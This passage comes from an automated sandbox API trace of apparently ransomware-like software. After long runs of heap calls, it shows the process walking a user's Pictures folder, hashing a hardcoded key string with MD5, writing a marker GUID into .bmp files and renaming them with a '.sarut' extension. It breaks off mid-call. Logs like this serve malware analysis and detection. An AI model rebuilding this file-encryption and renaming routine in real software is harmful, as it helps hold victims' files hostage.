0x3109120 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.810] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0271.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0271.811] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.811] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.812] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.812] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0271.812] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0271.815] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0271.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\") returned="AuC6dJL9xmafY\\" [0271.815] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0271.815] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30827b0 [0271.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\") returned="io8_8GuAwtxmu\\" [0271.815] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0271.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0271.815] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0271.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0271.815] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0271.815] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0271.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0271.815] PathFindFileNameW (pszPath="") returned="" [0271.815] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1178a7a0, ftCreationTime.dwHighDateTime=0x1d4d0cd, ftLastAccessTime.dwLowDateTime=0xa6c9f9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0xa6c9f9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0271.817] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1178a7a0, ftCreationTime.dwHighDateTime=0x1d4d0cd, ftLastAccessTime.dwLowDateTime=0xa6c9f9f0, ftLastAccessTime.dwHighDateTime=0x1d4d1d9, ftLastWriteTime.dwLowDateTime=0xa6c9f9f0, ftLastWriteTime.dwHighDateTime=0x1d4d1d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.817] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0a5f620, ftCreationTime.dwHighDateTime=0x1d4d24b, ftLastAccessTime.dwLowDateTime=0x7bc99da0, ftLastAccessTime.dwHighDateTime=0x1d4c7ac, ftLastWriteTime.dwLowDateTime=0x7bc99da0, ftLastWriteTime.dwHighDateTime=0x1d4c7ac, nFileSizeHigh=0x0, nFileSizeLow=0xe23d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8yd_-EOXVhtdOvzi yYD.bmp", cAlternateFileName="8YD_-E~1.BMP")) returned 1 [0271.817] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.817] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.817] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\8yd_-EOXVhtdOvzi yYD.bmp") returned=".bmp" [0271.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\8yd_-EOXVhtdOvzi yYD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\8yd_-eoxvhtdovzi yyd.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.820] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=57917) returned 1 [0271.820] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.823] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe217, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.823] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.825] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.825] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xe23d, lpOverlapped=0x0) returned 1 [0271.826] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.826] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.826] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.826] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.826] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.827] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.827] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.827] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.827] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.827] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.827] GetLastError () returned 0x0 [0271.827] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.827] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.828] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xe23d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.828] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.828] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.828] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.828] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.828] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.828] CloseHandle (hObject=0x5c4) returned 1 [0271.836] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307faa8 [0271.836] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8d0) returned 0x311d708 [0271.836] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\8yd_-EOXVhtdOvzi yYD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\8yd_-eoxvhtdovzi yyd.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\8yd_-EOXVhtdOvzi yYD.bmp.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\8yd_-eoxvhtdovzi yyd.bmp.sarut")) returned 1 [0271.838] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76789840, ftCreationTime.dwHighDateTime=0x1d4ca56, ftLastAccessTime.dwLowDateTime=0xf528d390, ftLastAccessTime.dwHighDateTime=0x1d4c9c9, ftLastWriteTime.dwLowDateTime=0xf528d390, ftLastWriteTime.dwHighDateTime=0x1d4c9c9, nFileSizeHigh=0x0, nFileSizeLow=0xaeb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jiyYQcsk0aKO.bmp", cAlternateFileName="JIYYQC~1.BMP")) returned 1 [0271.838] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x72ea40 [0271.838] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0271.838] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\jiyYQcsk0aKO.bmp") returned=".bmp" [0271.838] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\AuC6dJL9xmafY\\jiyYQcsk0aKO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\auc6djl9xmafy\\jiyyqcsk0ako.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.838] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=44723) returned 1 [0271.838] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.841] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xae8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.841] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.843] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.843] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xaeb3, lpOverlapped=0x0) returned 1 [0271.844] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.844] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.844] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.844] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.844] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0271.845] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.845] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.845] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.845] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.845] GetLastError () returned 0x0 [0271.845] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.845] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0271.845] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xaeb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.845] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0271.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0271.846] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.846] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.846] CloseHandle (hObject=0x5c4) returned 1 [0271.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x3054690 [0271.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8c0) returned 0x311d708 [0271.848] MoveFileW 